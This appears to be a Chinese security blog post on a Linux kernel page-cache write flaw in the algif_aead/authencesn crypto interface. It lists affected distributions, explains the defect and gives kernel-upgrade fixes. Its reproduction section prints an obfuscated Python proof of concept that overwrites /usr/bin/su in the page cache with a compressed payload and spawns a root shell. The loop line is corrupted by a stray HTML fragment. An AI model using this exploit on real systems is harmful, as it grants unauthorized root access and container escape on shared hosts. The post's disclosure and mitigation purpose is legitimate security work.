声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者和此公众号不为此承担任何责任。
NO1、环境直接使用kali环境

NO2影响范围
一、漏洞源自 2017 年内核优化提交,2017 年至今未修复的 Linux 内核均受影响,覆盖绝大多数主流发行版与云环境。
二、受影响发行版:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16
三、理论受影响系统
Debian、Arch Linux、Fedora、Rocky Linux、AlmaLinux、Oracle Linux 及大量嵌入式/定制Linux系统(国产麒麟、统信等基于Linux的系统)。
四、不受影响内核版本
6.18.22+、6.19.12+、7.0+(上游主线已修复)。
五、高风险场景
多用户共享主机、跳板机、编译服务器
Kubernetes/Docker 等容器集群
自托管 CI/CD Runner(GitHub Actions、GitLab、Jenkins)
云托管 Notebook、沙箱、Serverless 服务。
NO3、漏洞介绍
一、漏洞藏在 Linux 内核algif_aead密码算法接口,由 2017 年一次错误的原地操作优化引入。
二、关键组件
AF_ALG:内核提供的用户态密码运算 socket 接口,普通用户可直接调用
AEAD:带认证的加解密模式
authencesn 模板:特定 AEAD 实现,解密时向缓冲区写入数据
splice():零拷贝系统调用,可关联文件页面缓存与套接字缓冲区。
四、缺陷逻辑
优化错误将 TX 与 RX 缓冲区当作同一缓冲区处理,解密时把文件页面缓存链接到可写散射表,在验证标签前提前写入 4 个可控字节,获得直写页面缓存的4字节写入能力。
五、为何极度危险
写入绕过 VFS 路径,不标记脏页,文件完整性工具难以发现
页面缓存全局共享,篡改后所有进程读取均为恶意版本
容器与宿主机共享缓存,可从容器内攻击宿主机,实现逃逸。
六、利用流程
创建 AF_ALG 套接字→通过 splice 关联 su 等 setuid 文件页面缓存→写入 4 字节恶意数据→执行 su 直接获取 root shell。
NO4、漏洞复现
执行:poc.py

Poc.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i <len(e):c(f,i,e[i:i+4]);i+=4< span> </len(e):c(f,i,e[i:i+4]);i+=4<>
g.system("su")
NO5、修复方法
一、官方修复(首选)
升级内核至包含修复提交a664bf3d603d的版本,回滚 2017 年问题优化,隔离读写缓冲区,阻止页面缓存被篡改。
Ubuntu/Debian:更新 linux-image
RHEL/CentOS/Rocky/Alma:等待官方安全补丁
Amazon Linux:关注 AWS 安全公告